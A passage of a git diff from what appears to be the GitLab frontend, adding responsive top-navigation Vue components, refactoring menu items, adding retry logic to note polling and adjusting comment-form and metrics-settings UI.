+import ResponsiveHeader from './responsive_header.vue';
+import ResponsiveHome from './responsive_home.vue';
+import TopNavContainerView from './top_nav_container_view.vue';
+
+export default {
+ components: {
+ KeepAliveSlots,
+ ResponsiveHeader,
+ ResponsiveHome,
+ TopNavContainerView,
+ },
+ props: {
+ navData: {
+ type: Object,
+ required: true,
+ },
+ },
+ data() {
+ return {
+ activeView: 'home',
+ hasMobileOverlay: false,
+ };
+ },
+ computed: {
+ nav() {
+ return resetMenuItemsActive(this.navData);
+ },
+ },
+ created() {
+ eventHub.$on(EVENT_RESPONSIVE_TOGGLE, this.updateResponsiveOpen);
+ this.$root.$on(BV_DROPDOWN_SHOW, this.showMobileOverlay);
+ this.$root.$on(BV_DROPDOWN_HIDE, this.hideMobileOverlay);
+
+ this.updateResponsiveOpen();
+ },
+ beforeDestroy() {
+ eventHub.$off(EVENT_RESPONSIVE_TOGGLE, this.onToggle);
+ this.$root.$off(BV_DROPDOWN_SHOW, this.showMobileOverlay);
+ this.$root.$off(BV_DROPDOWN_HIDE, this.hideMobileOverlay);
+ },
+ methods: {
+ updateResponsiveOpen() {
+ if (hasMenuExpanded()) {
+ document.body.classList.add('top-nav-responsive-open');
+ } else {
+ document.body.classList.remove('top-nav-responsive-open');
+ }
+ },
+ onMenuItemClick({ view }) {
+ if (view) {
+ this.activeView = view;
+ }
+ },
+ showMobileOverlay() {
+ this.hasMobileOverlay = true;
+ },
+ hideMobileOverlay() {
+ this.hasMobileOverlay = false;
+ },
+ },
+ FREQUENT_ITEMS_PROJECTS,
+ FREQUENT_ITEMS_GROUPS,
+};
+</script>
+
+<template>
+ <div>
+ <div
+ class="mobile-overlay"
+ :class="{ 'mobile-nav-open': hasMobileOverlay }"
+ data-testid="mobile-overlay"
+ ></div>
+ <keep-alive-slots :slot-key="activeView">
+ <template #home>
+ <responsive-home :nav-data="nav" @menu-item-click="onMenuItemClick" />
+ </template>
+ <template #projects>
+ <responsive-header @menu-item-click="onMenuItemClick">
+ {{ __('Projects') }}
+ </responsive-header>
+ <top-nav-container-view
+ :frequent-items-dropdown-type="$options.FREQUENT_ITEMS_PROJECTS.namespace"
+ :frequent-items-vuex-module="$options.FREQUENT_ITEMS_PROJECTS.vuexModule"
+ container-class="gl-px-3"
+ v-bind="nav.views.projects"
+ />
+ </template>
+ <template #groups>
+ <responsive-header @menu-item-click="onMenuItemClick">
+ {{ __('Groups') }}
+ </responsive-header>
+ <top-nav-container-view
+ :frequent-items-dropdown-type="$options.FREQUENT_ITEMS_GROUPS.namespace"
+ :frequent-items-vuex-module="$options.FREQUENT_ITEMS_GROUPS.vuexModule"
+ container-class="gl-px-3"
+ v-bind="nav.views.groups"
+ />
+ </template>
+ </keep-alive-slots>
+ </div>
+</template>
diff --git a/app/assets/javascripts/nav/components/responsive_header.vue b/app/assets/javascripts/nav/components/responsive_header.vue
new file mode 100644
index 00000000000..8a1d21993b7
--- /dev/null
+++ b/app/assets/javascripts/nav/components/responsive_header.vue
@@ -0,0 +1,37 @@
+<script>
+import { GlTooltipDirective } from '@gitlab/ui';
+import TopNavMenuItem from './top_nav_menu_item.vue';
+
+export default {
+ components: {
+ TopNavMenuItem,
+ },
+ directives: {
+ GlTooltip: GlTooltipDirective,
+ },
+ computed: {
+ menuItem() {
+ return {
+ id: 'home',
+ view: 'home',
+ icon: 'angle-left',
+ };
+ },
+ },
+};
+</script>
+
+<template>
+ <header class="gl-py-4 gl-display-flex gl-align-items-center">
+ <top-nav-menu-item
+ v-gl-tooltip="{ title: s__('TopNav|Go back') }"
+ class="gl-p-3!"
+ :menu-item="menuItem"
+ icon-only
+ @click="$emit('menu-item-click', menuItem)"
+ />
+ <span class="gl-font-size-h2 gl-font-weight-bold gl-ml-2">
+ <slot></slot>
+ </span>
+ </header>
+</template>
diff --git a/app/assets/javascripts/nav/components/responsive_home.vue b/app/assets/javascripts/nav/components/responsive_home.vue
new file mode 100644
index 00000000000..c8f2f0bfb10
--- /dev/null
+++ b/app/assets/javascripts/nav/components/responsive_home.vue
@@ -0,0 +1,62 @@
+<script>
+import { GlTooltipDirective } from '@gitlab/ui';
+import TopNavMenuItem from './top_nav_menu_item.vue';
+import TopNavMenuSections from './top_nav_menu_sections.vue';
+import TopNavNewDropdown from './top_nav_new_dropdown.vue';
+
+const NEW_VIEW = 'new';
+const SEARCH_VIEW = 'search';
+
+export default {
+ components: {
+ TopNavMenuItem,
+ TopNavMenuSections,
+ TopNavNewDropdown,
+ },
+ directives: {
+ GlTooltip: GlTooltipDirective,
+ },
+ props: {
+ navData: {
+ type: Object,
+ required: true,
+ },
+ },
+ computed: {
+ menuSections() {
+ return [
+ { id: 'primary', menuItems: this.navData.primary },
+ { id: 'secondary', menuItems: this.navData.secondary },
+ ].filter((x) => x.menuItems?.length);
+ },
+ newDropdownViewModel() {
+ return this.navData.views[NEW_VIEW];
+ },
+ searchMenuItem() {
+ return this.navData.views[SEARCH_VIEW];
+ },
+ },
+};
+</script>
+
+<template>
+ <div>
+ <header class="gl-display-flex gl-align-items-center gl-py-4 gl-pl-4">
+ <h1 class="gl-m-0 gl-font-size-h2 gl-reset-color gl-mr-auto">{{ __('Menu') }}</h1>
+ <top-nav-menu-item
+ v-if="searchMenuItem"
+ v-gl-tooltip="{ title: searchMenuItem.title }"
+ class="gl-ml-3"
+ :menu-item="searchMenuItem"
+ icon-only
+ />
+ <top-nav-new-dropdown
+ v-if="newDropdownViewModel"
+ v-gl-tooltip="{ title: newDropdownViewModel.title }"
+ :view-model="newDropdownViewModel"
+ class="gl-ml-3"
+ />
+ </header>
+ <top-nav-menu-sections class="gl-h-full" :sections="menuSections" v-on="$listeners" />
+ </div>
+</template>
diff --git a/app/assets/javascripts/nav/components/top_nav_app.vue b/app/assets/javascripts/nav/components/top_nav_app.vue
index f8f3ba26536..08a2c6952c8 100644
--- a/app/assets/javascripts/nav/components/top_nav_app.vue
+++ b/app/assets/javascripts/nav/components/top_nav_app.vue
@@ -1,16 +1,12 @@
<script>
-import { GlNav, GlNavItemDropdown, GlDropdownForm, GlTooltip } from '@gitlab/ui';
-import { s__ } from '~/locale';
+import { GlNav, GlNavItemDropdown, GlDropdownForm } from '@gitlab/ui';
import TopNavDropdownMenu from './top_nav_dropdown_menu.vue';
-const TOOLTIP = s__('TopNav|Switch to...');
-
export default {
components: {
GlNav,
GlNavItemDropdown,
GlDropdownForm,
- GlTooltip,
TopNavDropdownMenu,
},
props: {
@@ -19,15 +15,6 @@ export default {
required: true,
},
},
- methods: {
- findTooltipTarget() {
- // ### Why use a target function instead of `v-gl-tooltip`?
- // To get the tooltip to align correctly, we need it to target the actual
- // toggle button which we don't directly render.
- return this.$el.querySelector('.js-top-nav-dropdown-toggle');
- },
- },
- TOOLTIP,
};
</script>
@@ -35,10 +22,13 @@ export default {
<gl-nav class="navbar-sub-nav">
<gl-nav-item-dropdown
:text="navData.activeTitle"
- icon="dot-grid"
- menu-class="gl-mt-3! gl-max-w-none! gl-max-h-none! gl-sm-w-auto!"
+ data-qa-selector="navbar_dropdown"
+ :data-qa-title="navData.activeTitle"
+ icon="hamburger"
+ menu-class="gl-mt-3! gl-max-w-none! gl-max-h-none! gl-sm-w-auto! js-top-nav-dropdown-menu"
toggle-class="top-nav-toggle js-top-nav-dropdown-toggle gl-px-3!"
no-flip
+ no-caret
>
<gl-dropdown-form>
<top-nav-dropdown-menu
@@ -48,12 +38,5 @@ export default {
/>
</gl-dropdown-form>
</gl-nav-item-dropdown>
- <gl-tooltip
- boundary="window"
- :boundary-padding="0"
- :target="findTooltipTarget"
- placement="right"
- :title="$options.TOOLTIP"
- />
</gl-nav>
</template>
diff --git a/app/assets/javascripts/nav/components/top_nav_container_view.vue b/app/assets/javascripts/nav/components/top_nav_container_view.vue
index 21ff3ebcd7d..6f98f85ff90 100644
--- a/app/assets/javascripts/nav/components/top_nav_container_view.vue
+++ b/app/assets/javascripts/nav/components/top_nav_container_view.vue
@@ -2,14 +2,15 @@
import FrequentItemsApp from '~/frequent_items/components/app.vue';
import eventHub from '~/frequent_items/event_hub';
import VuexModuleProvider from '~/vue_shared/components/vuex_module_provider.vue';
-import TopNavMenuItem from './top_nav_menu_item.vue';
+import TopNavMenuSections from './top_nav_menu_sections.vue';
export default {
components: {
FrequentItemsApp,
- TopNavMenuItem,
+ TopNavMenuSections,
VuexModuleProvider,
},
+ inheritAttrs: false,
props: {
frequentItemsVuexModule: {
type: String,
@@ -19,6 +20,11 @@ export default {
type: String,
required: true,
},
+ containerClass: {
+ type: String,
+ required: false,
+ default: '',
+ },
linksPrimary: {
type: Array,
required: false,
@@ -31,11 +37,11 @@ export default {
},
},
computed: {
- linkGroups() {
+ menuSections() {
return [
- { key: 'primary', links: this.linksPrimary },
- { key: 'secondary', links: this.linksSecondary },
- ].filter((x) => x.links?.length);
+ { id: 'primary', menuItems: this.linksPrimary },
+ { id: 'secondary', menuItems: this.linksSecondary },
+ ].filter((x) => x.menuItems?.length);
},
},
mounted() {
@@ -49,26 +55,17 @@ export default {
<template>
<div class="top-nav-container-view gl-display-flex gl-flex-direction-column">
- <div class="frequent-items-dropdown-container gl-w-auto">
+ <div
+ class="frequent-items-dropdown-container gl-w-auto"
+ :class="containerClass"
+ data-testid="frequent-items-container"
+ >
<div class="frequent-items-dropdown-content gl-w-full! gl-pt-0!">
<vuex-module-provider :vuex-module="frequentItemsVuexModule">
<frequent-items-app v-bind="$attrs" />
</vuex-module-provider>
</div>
</div>
- <div
- v-for="({ key, links }, groupIndex) in linkGroups"
- :key="key"
- :class="{ 'gl-mt-3': groupIndex !== 0 }"
- class="gl-mt-auto gl-pt-3 gl-border-1 gl-border-t-solid gl-border-gray-100"
- data-testid="menu-item-group"
- >
- <top-nav-menu-item
- v-for="(link, linkIndex) in links"
- :key="link.title"
- :menu-item="link"
- :class="{ 'gl-mt-1': linkIndex !== 0 }"
- />
- </div>
+ <top-nav-menu-sections class="gl-mt-auto" :sections="menuSections" with-top-border />
</div>
</template>
diff --git a/app/assets/javascripts/nav/components/top_nav_dropdown_menu.vue b/app/assets/javascripts/nav/components/top_nav_dropdown_menu.vue
index 1cbd64b501d..cac8fecb6b1 100644
--- a/app/assets/javascripts/nav/components/top_nav_dropdown_menu.vue
+++ b/app/assets/javascripts/nav/components/top_nav_dropdown_menu.vue
@@ -1,17 +1,15 @@
<script>
+import { cloneDeep } from 'lodash';
import { FREQUENT_ITEMS_PROJECTS, FREQUENT_ITEMS_GROUPS } from '~/frequent_items/constants';
import KeepAliveSlots from '~/vue_shared/components/keep_alive_slots.vue';
import TopNavContainerView from './top_nav_container_view.vue';
-import TopNavMenuItem from './top_nav_menu_item.vue';
-
-const ACTIVE_CLASS = 'gl-shadow-none! gl-font-weight-bold! active';
-const SECONDARY_GROUP_CLASS = 'gl-pt-3 gl-mt-3 gl-border-1 gl-border-t-solid gl-border-gray-100';
+import TopNavMenuSections from './top_nav_menu_sections.vue';
export default {
components: {
KeepAliveSlots,
TopNavContainerView,
- TopNavMenuItem,
+ TopNavMenuSections,
},
props: {
primary: {
@@ -31,29 +29,25 @@ export default {
},
},
data() {
+ // It's expected that primary & secondary never change, so these are treated as "init" props.
+ // We need to clone so that we can mutate the data without mutating the props
+ const menuSections = [
+ { id: 'primary', menuItems: cloneDeep(this.primary) },
+ { id: 'secondary', menuItems: cloneDeep(this.secondary) },
+ ].filter((x) => x.menuItems?.length);
+
return {
- activeId: '',
+ menuSections,
};
},
computed: {
- menuItemGroups() {
- return [
- { key: 'primary', items: this.primary, classes: '' },
- {
- key: 'secondary',
- items: this.secondary,
- classes: SECONDARY_GROUP_CLASS,
- },
- ].filter((x) => x.items?.length);
- },
allMenuItems() {
- return this.menuItemGroups.flatMap((x) => x.items);
- },
- activeMenuItem() {
- return this.allMenuItems.find((x) => x.id === this.activeId);
+ return this.menuSections.flatMap((x) => x.menuItems);
},
activeView() {
- return this.activeMenuItem?.view;
+ const active = this.allMenuItems.find((x) => x.active);
+
+ return active?.view;
},
menuClass() {
if (!this.activeView) {
@@ -63,67 +57,33 @@ export default {
return '';
},
},
- created() {
- // Initialize activeId based on initialization prop
- this.activeId = this.allMenuItems.find((x) => x.active)?.id;
- },
methods: {
- onClick({ id, href }) {
- // If we're a link, let's just do the default behavior so the view won't change
- if (href) {
- return;
- }
-
- this.activeId = id;
- },
- menuItemClasses(menuItem) {
- if (menuItem.id === this.activeId) {
- return ACTIVE_CLASS;
- }
-
- return '';
+ onMenuItemClick({ id }) {
+ this.allMenuItems.forEach((menuItem) => {
+ this.$set(menuItem, 'active', id === menuItem.id);
+ });
},
},
FREQUENT_ITEMS_PROJECTS,
FREQUENT_ITEMS_GROUPS,
- // expose for unit tests
- ACTIVE_CLASS,
- SECONDARY_GROUP_CLASS,
};
</script>
<template>
<div class="gl-display-flex gl-align-items-stretch">
<div
- class="gl-w-grid-size-30 gl-flex-shrink-0 gl-bg-gray-10"
+ class="gl-w-grid-size-30 gl-flex-shrink-0 gl-bg-gray-10 gl-py-3 gl-px-5"
:class="menuClass"
data-testid="menu-sidebar"
>
- <div
- class="gl-py-3 gl-px-5 gl-h-full gl-display-flex gl-align-items-stretch gl-flex-direction-column"
- >
- <div
- v-for="group in menuItemGroups"
- :key="group.key"
- :class="group.classes"
- data-testid="menu-item-group"
- >
- <top-nav-menu-item
- v-for="(menu, index) in group.items"
- :key="menu.id"
- data-testid="menu-item"
- :class="[{ 'gl-mt-1': index !== 0 }, menuItemClasses(menu)]"
- :menu-item="menu"
- @click="onClick(menu)"
- />
- </div>
- </div>
+ <top-nav-menu-sections :sections="menuSections" @menu-item-click="onMenuItemClick" />
</div>
<keep-alive-slots
v-show="activeView"
:slot-key="activeView"
class="gl-w-grid-size-40 gl-overflow-hidden gl-py-3 gl-px-5"
data-testid="menu-subview"
+ data-qa-selector="menu_subview_container"
>
<template #projects>
<top-nav-container-view
diff --git a/app/assets/javascripts/nav/components/top_nav_menu_item.vue b/app/assets/javascripts/nav/components/top_nav_menu_item.vue
index a0d92811a6f..08b2fbf2ed1 100644
--- a/app/assets/javascripts/nav/components/top_nav_menu_item.vue
+++ b/app/assets/javascripts/nav/components/top_nav_menu_item.vue
@@ -1,5 +1,10 @@
<script>
import { GlButton, GlIcon } from '@gitlab/ui';
+import { kebabCase, mapKeys } from 'lodash';
+
+const getDataKey = (key) => `data-${kebabCase(key)}`;
+
+const ACTIVE_CLASS = 'gl-shadow-none! gl-font-weight-bold! active';
export default {
components: {
@@ -11,7 +16,18 @@ export default {
type: Object,
required: true,
},
+ iconOnly: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ },
+ computed: {
+ dataAttrs() {
+ return mapKeys(this.menuItem.data || {}, (value, key) => getDataKey(key));
+ },
},
+ ACTIVE_CLASS,
};
</script>
@@ -20,12 +36,17 @@ export default {
category="tertiary"
:href="menuItem.href"
class="top-nav-menu-item gl-display-block"
+ :class="[menuItem.css_class, { [$options.ACTIVE_CLASS]: menuItem.active }]"
+ :aria-label="menuItem.title"
+ v-bind="dataAttrs"
v-on="$listeners"
>
<span class="gl-display-flex">
- <gl-icon v-if="menuItem.icon" :name="menuItem.icon" class="gl-mr-2!" />
- {{ menuItem.title }}
- <gl-icon v-if="menuItem.view" name="chevron-right" class="gl-ml-auto" />
+ <gl-icon v-if="menuItem.icon" :name="menuItem.icon" :class="{ 'gl-mr-2!': !iconOnly }" />
+ <template v-if="!iconOnly">
+ {{ menuItem.title }}
+ <gl-icon v-if="menuItem.view" name="chevron-right" class="gl-ml-auto" />
+ </template>
</span>
</gl-button>
</template>
diff --git a/app/assets/javascripts/nav/components/top_nav_menu_sections.vue b/app/assets/javascripts/nav/components/top_nav_menu_sections.vue
new file mode 100644
index 00000000000..442af512350
--- /dev/null
+++ b/app/assets/javascripts/nav/components/top_nav_menu_sections.vue
@@ -0,0 +1,63 @@
+<script>
+import TopNavMenuItem from './top_nav_menu_item.vue';
+
+const BORDER_CLASSES = 'gl-pt-3 gl-border-1 gl-border-t-solid gl-border-gray-100';
+
+export default {
+ components: {
+ TopNavMenuItem,
+ },
+ props: {
+ sections: {
+ type: Array,
+ required: true,
+ },
+ withTopBorder: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ },
+ methods: {
+ onClick(menuItem) {
+ // If we're a link, let's just do the default behavior so the view won't change
+ if (menuItem.href) {
+ return;
+ }
+
+ this.$emit('menu-item-click', menuItem);
+ },
+ getMenuSectionClasses(index) {
+ // This is a method instead of a computed so we don't have to incur the cost of
+ // creating a whole new array/object.
+ return {
+ [BORDER_CLASSES]: this.withTopBorder || index > 0,
+ 'gl-mt-3': index > 0,
+ };
+ },
+ },
+ // Expose for unit tests
+ BORDER_CLASSES,
+};
+</script>
+
+<template>
+ <div class="gl-display-flex gl-align-items-stretch gl-flex-direction-column">
+ <div
+ v-for="({ id, menuItems }, sectionIndex) in sections"
+ :key="id"
+ :class="getMenuSectionClasses(sectionIndex)"
+ data-testid="menu-section"
+ >
+ <top-nav-menu-item
+ v-for="(menuItem, menuItemIndex) in menuItems"
+ :key="menuItem.id"
+ :menu-item="menuItem"
+ data-testid="menu-item"
+ class="gl-w-full"
+ :class="{ 'gl-mt-1': menuItemIndex > 0 }"
+ @click="onClick(menuItem)"
+ />
+ </div>
+ </div>
+</template>
diff --git a/app/assets/javascripts/nav/components/top_nav_new_dropdown.vue b/app/assets/javascripts/nav/components/top_nav_new_dropdown.vue
new file mode 100644
index 00000000000..154bed81854
--- /dev/null
+++ b/app/assets/javascripts/nav/components/top_nav_new_dropdown.vue
@@ -0,0 +1,55 @@
+<script>
+import { GlDropdown, GlDropdownDivider, GlDropdownItem, GlDropdownSectionHeader } from '@gitlab/ui';
+
+export default {
+ components: {
+ GlDropdown,
+ GlDropdownDivider,
+ GlDropdownItem,
+ GlDropdownSectionHeader,
+ },
+ props: {
+ viewModel: {
+ type: Object,
+ required: true,
+ },
+ },
+ computed: {
+ sections() {
+ return this.viewModel.menu_sections || [];
+ },
+ showHeaders() {
+ return this.sections.length > 1;
+ },
+ },
+};
+</script>
+
+<template>
+ <gl-dropdown
+ toggle-class="top-nav-menu-item"
+ icon="plus"
+ :text="viewModel.title"
+ category="tertiary"
+ text-sr-only
+ no-caret
+ right
+ >
+ <template v-for="({ title, menu_items }, index) in sections">
+ <gl-dropdown-divider v-if="index > 0" :key="`${index}_divider`" data-testid="divider" />
+ <gl-dropdown-section-header v-if="showHeaders" :key="`${index}_header`" data-testid="header">
+ {{ title }}
+ </gl-dropdown-section-header>
+ <template v-for="menuItem in menu_items">
+ <gl-dropdown-item
+ :key="`${index}_item_${menuItem.id}`"
+ link-class="top-nav-menu-item"
+ :href="menuItem.href"
+ data-testid="item"
+ >
+ {{ menuItem.title }}
+ </gl-dropdown-item>
+ </template>
+ </template>
+ </gl-dropdown>
+</template>
diff --git a/app/assets/javascripts/nav/event_hub.js b/app/assets/javascripts/nav/event_hub.js
new file mode 100644
index 00000000000..2c8b1371fe3
--- /dev/null
+++ b/app/assets/javascripts/nav/event_hub.js
@@ -0,0 +1,5 @@
+import eventHubFactory from '~/helpers/event_hub_factory';
+
+export const EVENT_RESPONSIVE_TOGGLE = 'top-nav-responsive-toggle';
+
+export default eventHubFactory();
diff --git a/app/assets/javascripts/nav/index.js b/app/assets/javascripts/nav/index.js
index 646ce3f0ecf..86d6b42e4ea 100644
--- a/app/assets/javascripts/nav/index.js
+++ b/app/assets/javascripts/nav/index.js
@@ -1,12 +1,28 @@
-export const initTopNav = async () => {
+// With combined_menu feature flag, there's a benefit to splitting up the import
+const importModule = () => import(/* webpackChunkName: 'top_nav' */ './mount');
+
+const tryMountTopNav = async () => {
const el = document.getElementById('js-top-nav');
if (!el) {
return;
}
- // With combined_menu feature flag, there's a benefit to splitting up the import
- const { mountTopNav } = await import(/* webpackChunkName: 'top_nav' */ './mount');
+ const { mountTopNav } = await importModule();
mountTopNav(el);
};
+
+const tryMountTopNavResponsive = async () => {
+ const el = document.getElementById('js-top-nav-responsive');
+
+ if (!el) {
+ return;
+ }
+
+ const { mountTopNavResponsive } = await importModule();
+
+ mountTopNavResponsive(el);
+};
+
+export const initTopNav = async () => Promise.all([tryMountTopNav(), tryMountTopNavResponsive()]);
diff --git a/app/assets/javascripts/nav/mount.js b/app/assets/javascripts/nav/mount.js
index 0d46ff56249..51b6a31b8cb 100644
--- a/app/assets/javascripts/nav/mount.js
+++ b/app/assets/javascripts/nav/mount.js
@@ -1,11 +1,12 @@
import Vue from 'vue';
import Vuex from 'vuex';
+import ResponsiveApp from './components/responsive_app.vue';
import App from './components/top_nav_app.vue';
import { createStore } from './stores';
Vue.use(Vuex);
-export const mountTopNav = (el) => {
+const mount = (el, Component) => {
const viewModel = JSON.parse(el.dataset.viewModel);
const store = createStore();
@@ -13,7 +14,7 @@ export const mountTopNav = (el) => {
el,
store,
render(h) {
- return h(App, {
+ return h(Component, {
props: {
navData: viewModel,
},
@@ -21,3 +22,7 @@ export const mountTopNav = (el) => {
},
});
};
+
+export const mountTopNav = (el) => mount(el, App);
+
+export const mountTopNavResponsive = (el) => mount(el, ResponsiveApp);
diff --git a/app/assets/javascripts/nav/utils/has_menu_expanded.js b/app/assets/javascripts/nav/utils/has_menu_expanded.js
new file mode 100644
index 00000000000..5f126bbdf76
--- /dev/null
+++ b/app/assets/javascripts/nav/utils/has_menu_expanded.js
@@ -0,0 +1,2 @@
+export const hasMenuExpanded = () =>
+ Boolean(document.querySelector('.header-content.menu-expanded'));
diff --git a/app/assets/javascripts/nav/utils/index.js b/app/assets/javascripts/nav/utils/index.js
new file mode 100644
index 00000000000..4fa3d0910da
--- /dev/null
+++ b/app/assets/javascripts/nav/utils/index.js
@@ -0,0 +1,2 @@
+export * from './has_menu_expanded';
+export * from './reset_menu_items_active';
diff --git a/app/assets/javascripts/nav/utils/reset_menu_items_active.js b/app/assets/javascripts/nav/utils/reset_menu_items_active.js
new file mode 100644
index 00000000000..9b5d8e97c9c
--- /dev/null
+++ b/app/assets/javascripts/nav/utils/reset_menu_items_active.js
@@ -0,0 +1,14 @@
+const resetActiveInArray = (arr) => arr?.map((menuItem) => ({ ...menuItem, active: false }));
+
+/**
+ * This method sets `active: false` for the menu items within the given nav data.
+ *
+ * @returns navData with the menu items updated with `active: false`
+ */
+export const resetMenuItemsActive = ({ primary, secondary, ...navData }) => {
+ return {
+ ...navData,
+ primary: resetActiveInArray(primary),
+ secondary: resetActiveInArray(secondary),
+ };
+};
diff --git a/app/assets/javascripts/notes/components/comment_form.vue b/app/assets/javascripts/notes/components/comment_form.vue
index 90be5b3e470..7213658bdf2 100644
--- a/app/assets/javascripts/notes/components/comment_form.vue
+++ b/app/assets/javascripts/notes/components/comment_form.vue
@@ -273,6 +273,13 @@ export default {
this.toggleIssueState();
}
},
+ handleEnter() {
+ if (this.hasDrafts) {
+ this.handleSaveDraft();
+ } else {
+ this.handleSave();
+ }
+ },
toggleIssueState() {
if (this.isIssue) {
// We want to invoke the close/reopen logic in the issue header
@@ -395,8 +402,8 @@ export default {
:aria-label="$options.i18n.comment"
:placeholder="$options.i18n.bodyPlaceholder"
@keydown.up="editCurrentUserLastNote()"
- @keydown.meta.enter="handleSave()"
- @keydown.ctrl.enter="handleSave()"
+ @keydown.meta.enter="handleEnter()"
+ @keydown.ctrl.enter="handleEnter()"
></textarea>
</template>
</markdown-field>
diff --git a/app/assets/javascripts/notes/components/note_actions.vue b/app/assets/javascripts/notes/components/note_actions.vue
index 0cc818c6d0e..0f72b4f2dba 100644
--- a/app/assets/javascripts/notes/components/note_actions.vue
+++ b/app/assets/javascripts/notes/components/note_actions.vue
@@ -304,7 +304,7 @@ export default {
v-else
v-gl-tooltip
:class="{ 'js-user-authored': isAuthoredByCurrentUser }"
- class="note-action-button note-emoji-button add-reaction-button btn-icon js-add-award js-note-emoji"
+ class="note-action-button note-emoji-button add-reaction-button js-add-award js-note-emoji"
category="tertiary"
variant="default"
:title="$options.i18n.addReactionLabel"
diff --git a/app/assets/javascripts/notes/components/noteable_discussion.vue b/app/assets/javascripts/notes/components/noteable_discussion.vue
index 34dd21dcbac..1af9e4be373 100644
--- a/app/assets/javascripts/notes/components/noteable_discussion.vue
+++ b/app/assets/javascripts/notes/components/noteable_discussion.vue
@@ -135,6 +135,13 @@ export default {
resolveWithIssuePath() {
return !this.discussionResolved ? this.discussion.resolve_with_issue_path : '';
},
+ canShowReplyActions() {
+ if (this.shouldRenderDiffs && !this.discussion.diff_file.diff_refs) {
+ return false;
+ }
+
+ return true;
+ },
},
created() {
eventHub.$on('startReplying', this.onStartReplying);
@@ -263,7 +270,7 @@ export default {
:draft="draftForDiscussion(discussion.reply_id)"
/>
<div
- v-else-if="showReplies"
+ v-else-if="canShowReplyActions && showReplies"
:class="{ 'is-replying': isReplying }"
class="discussion-reply-holder gl-border-t-0! clearfix"
>
diff --git a/app/assets/javascripts/notes/mixins/diff_line_note_form.js b/app/assets/javascripts/notes/mixins/diff_line_note_form.js
index 76342e07c04..7b9c0959464 100644
--- a/app/assets/javascripts/notes/mixins/diff_line_note_form.js
+++ b/app/assets/javascripts/notes/mixins/diff_line_note_form.js
@@ -1,7 +1,7 @@
import { mapActions, mapGetters, mapState } from 'vuex';
import { getDraftReplyFormData, getDraftFormData } from '~/batch_comments/utils';
import { TEXT_DIFF_POSITION_TYPE, IMAGE_DIFF_POSITION_TYPE } from '~/diffs/constants';
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import createFlash from '~/flash';
import { clearDraft } from '~/lib/utils/autosave';
import { s__ } from '~/locale';
import { formatLineRange } from '~/notes/components/multiline_comment_utils';
@@ -42,7 +42,9 @@ export default {
this.handleClearForm(this.discussion.line_code);
})
.catch(() => {
- createFlash(s__('MergeRequests|An error occurred while saving the draft comment.'));
+ createFlash({
+ message: s__('MergeRequests|An error occurred while saving the draft comment.'),
+ });
});
},
addToReview(note) {
@@ -80,7 +82,9 @@ export default {
}
})
.catch(() => {
- createFlash(s__('MergeRequests|An error occurred while saving the draft comment.'));
+ createFlash({
+ message: s__('MergeRequests|An error occurred while saving the draft comment.'),
+ });
});
},
handleClearForm(lineCode) {
diff --git a/app/assets/javascripts/notes/stores/actions.js b/app/assets/javascripts/notes/stores/actions.js
index bdb85360be8..086e9122c60 100644
--- a/app/assets/javascripts/notes/stores/actions.js
+++ b/app/assets/javascripts/notes/stores/actions.js
@@ -12,6 +12,7 @@ import loadAwardsHandler from '../../awards_handler';
import { deprecatedCreateFlash as Flash } from '../../flash';
import { isInViewport, scrollToElement, isInMRPage } from '../../lib/utils/common_utils';
import Poll from '../../lib/utils/poll';
+import { create } from '../../lib/utils/recurrence';
import { mergeUrlParams } from '../../lib/utils/url_utility';
import sidebarTimeTrackingEventHub from '../../sidebar/event_hub';
import TaskList from '../../task_list';
@@ -21,6 +22,7 @@ import eventHub from '../event_hub';
import * as types from './mutation_types';
import * as utils from './utils';
+const NOTES_POLLING_INTERVAL = 6000;
let eTagPoll;
export const updateLockedAttribute = ({ commit, getters }, { locked, fullPath }) => {
@@ -469,6 +471,19 @@ const getFetchDataParams = (state) => {
};
export const poll = ({ commit, state, getters, dispatch }) => {
+ const notePollOccurrenceTracking = create();
+ let flashContainer;
+
+ notePollOccurrenceTracking.handle(1, () => {
+ // Since polling halts internally after 1 failure, we manually try one more time
+ setTimeout(() => eTagPoll.restart(), NOTES_POLLING_INTERVAL);
+ });
+ notePollOccurrenceTracking.handle(2, () => {
+ // On the second failure in a row, show the alert and try one more time (hoping to succeed and clear the error)
+ flashContainer = Flash(__('Something went wrong while fetching latest comments.'));
+ setTimeout(() => eTagPoll.restart(), NOTES_POLLING_INTERVAL);
+ });
+
eTagPoll = new Poll({
resource: {
poll: () => {
@@ -477,8 +492,15 @@ export const poll = ({ commit, state, getters, dispatch }) => {
},
},
method: 'poll',
- successCallback: ({ data }) => pollSuccessCallBack(data, commit, state, getters, dispatch),
- errorCallback: () => Flash(__('Something went wrong while fetching latest comments.')),
+ successCallback: ({ data }) => {
+ pollSuccessCallBack(data, commit, state, getters, dispatch);
+
+ if (notePollOccurrenceTracking.count) {
+ notePollOccurrenceTracking.reset();
+ }
+ flashContainer?.close();
+ },
+ errorCallback: () => notePollOccurrenceTracking.occur(),
});
if (!Visibility.hidden()) {
diff --git a/app/assets/javascripts/operation_settings/components/metrics_settings.vue b/app/assets/javascripts/operation_settings/components/metrics_settings.vue
index a24612e4680..959fffa2629 100644
--- a/app/assets/javascripts/operation_settings/components/metrics_settings.vue
+++ b/app/assets/javascripts/operation_settings/components/metrics_settings.vue
@@ -34,19 +34,19 @@ export default {
<h4
class="js-section-header settings-title js-settings-toggle js-settings-toggle-trigger-only"
>
- {{ s__('MetricsSettings|Metrics dashboard') }}
+ {{ s__('MetricsSettings|Metrics') }}
</h4>
<gl-button class="js-settings-toggle">{{ __('Expand') }}</gl-button>
<p class="js-section-sub-header">
- {{ s__('MetricsSettings|Manage Metrics Dashboard settings.') }}
- <gl-link :href="helpPage">{{ __('Learn more') }}</gl-link>
+ {{ s__('MetricsSettings|Manage metrics dashboard settings.') }}
+ <gl-link :href="helpPage">{{ __('Learn more.') }}</gl-link>
</p>
</div>
<div class="settings-content">
<form>
<dashboard-timezone />
<external-dashboard />
- <gl-button variant="success" category="primary" @click="saveChanges">
+ <gl-button variant="confirm" category="primary" @click="saveChanges">
{{ __('Save Changes') }}
</gl-button>
</form>
diff --git a/app/assets/javascripts/operation_settings/store/actions.js b/app/assets/javascripts/operation_settings/store/actions.js
index af66e344b35..969904bc6d0 100644
--- a/app/assets/javascripts/operation_settings/store/actions.js
+++ b/app/assets/javascripts/operation_settings/store/actions.js
@@ -1,4 +1,4 @@
-import { deprecatedCreateFlash as createFlash } from '~/flash';
